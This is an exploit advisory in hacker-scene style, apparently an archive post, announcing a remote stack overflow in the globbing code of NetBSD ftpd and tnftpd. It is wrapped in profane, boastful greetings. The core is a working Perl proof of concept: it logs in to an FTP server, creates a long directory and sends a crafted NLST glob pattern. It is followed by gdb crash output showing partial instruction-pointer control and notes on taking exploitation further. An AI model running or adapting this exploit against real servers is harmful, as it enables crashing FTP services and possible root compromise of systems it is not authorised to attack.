tnftpd.txt

`LAMERZ!!!!!  
KEEP ON HACKING!!! KEEP THAT *FUCK*ING PRIVATE!!!  
  
Greetings to the elite guys, thank you for your time.  
  
signed,  
***eliteboy***  
  
$$$ NetBSD ftpd and ports *Remote ROOOOOT $HOLE$* $$$  
  
About  
  
tnftpd is a port of the NetBSD FTP server to other systems.  
It offers many enhancements over the traditional BSD ftpd,  
including per-class configuration directives via ftpd.conf(5),  
RFC 2389 and draft-ietf-ftpext-mlst-11 support, IPv6,  
transfer rate throttling, and more.  
tnftpd was formerly known as lukemftpd,  
and earlier versions are present in Mac OS X 10.2 (as ftpd)  
and FreeBSD 5.0 (as lukemftpd).   
  
Description  
  
The NetBSD ftpd and the tnftpd port suffer from a remote stack overrun,  
which can lead to a root compromise.  
  
The bug is in glob.c file. The globbing mechanism is flawed as back in  
2001.  
  
To trigger the overflow you can create a folder and use the globbing  
special characters (like STARS) to overflow an internal stack based buffer.  
Example PoC:  
---snip---  
use IO::Socket;  
  
$sock = IO::Socket::INET->new(PeerAddr => '192.168.2.10',  
PeerPort => '21',  
Proto => 'tcp');  
$c = "C";  
$a = "C" x 255;  
$d = "A" x 450;  
  
print $sock "USER kcope\r\n";  
print $sock "PASS remoteroot\r\n";  
$x = <stdin>;  
print $sock "MKD $a\r\n";  
print $sock "NLST C*/../C*/../C*/../$d\r\n";  
print $sock "QUIT\r\n";  
  
while (<$sock>) {  
print;   
}  
---snip---  
  
gdb output tested on NetBSD 3.0 i386 NetBSD-ftpd 20050303 :  
(gdb) c  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x00410041 in ?? ()  
(gdb)  
  
  
  
  
tnftpd-20040810 behaves similar.  
FreeBSD (lukemftpd) and MacOSX (ftpd) were not tested,  
however they could have the same bug, because of the same  
codebase.  
  
The problem when exploiting this kind of bug is,  
that we can only control 0x00410041, not the whole  
32 bit. However it looks feasible to find a way  
to do a hole EIP redirection and/or exploit  
the bug the "unicode" way, which could be especially  
hard on BSD systems.  
  
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